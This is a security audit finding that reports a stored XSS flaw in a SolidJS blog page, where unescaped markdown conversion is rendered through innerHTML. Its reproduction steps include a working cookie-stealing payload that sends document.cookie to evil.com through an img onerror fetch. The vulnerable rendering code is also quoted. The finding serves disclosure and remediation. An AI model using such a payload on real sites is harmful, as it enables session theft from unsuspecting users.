62 lines
2.8 KiB
Markdown
62 lines
2.8 KiB
Markdown
Phase: 8
|
||
Sequence: 001
|
||
Slug: xss-in-innerhtml
|
||
Verdict: VALID
|
||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||
Severity-Original: high
|
||
Severity: high
|
||
PoC-Status: pending
|
||
Pre-FP-Flag: none
|
||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||
|
||
## Summary
|
||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||
|
||
## Location
|
||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||
|
||
## Attacker Control
|
||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||
|
||
## Trust Boundary Crossed
|
||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||
|
||
## Impact
|
||
Stored XSS affecting all blog post viewers. Attackers can:
|
||
- Steal session cookies and JWT tokens
|
||
- Perform actions on behalf of victims (account takeover)
|
||
- Redirect users to phishing pages
|
||
- Deface blog content
|
||
|
||
## Evidence
|
||
```typescript
|
||
// contentToHtml() — no HTML escaping
|
||
function contentToHtml(markdown: string): string {
|
||
const lines = markdown.split("\n");
|
||
let html = "";
|
||
for (const line of lines) {
|
||
if (line.startsWith("## ")) {
|
||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||
} else {
|
||
html += `<p class="...">${line}</p>`; // No escaping
|
||
}
|
||
}
|
||
return html;
|
||
}
|
||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||
```
|
||
|
||
## Reproduction Steps
|
||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||
2. Any user visits the blog post page
|
||
3. The `contentToHtml()` function renders the content without escaping
|
||
4. The `innerHTML` directive renders the HTML as-is
|
||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||
|
||
## Defense Search Results
|
||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||
- No DOMPurify or similar sanitization library used
|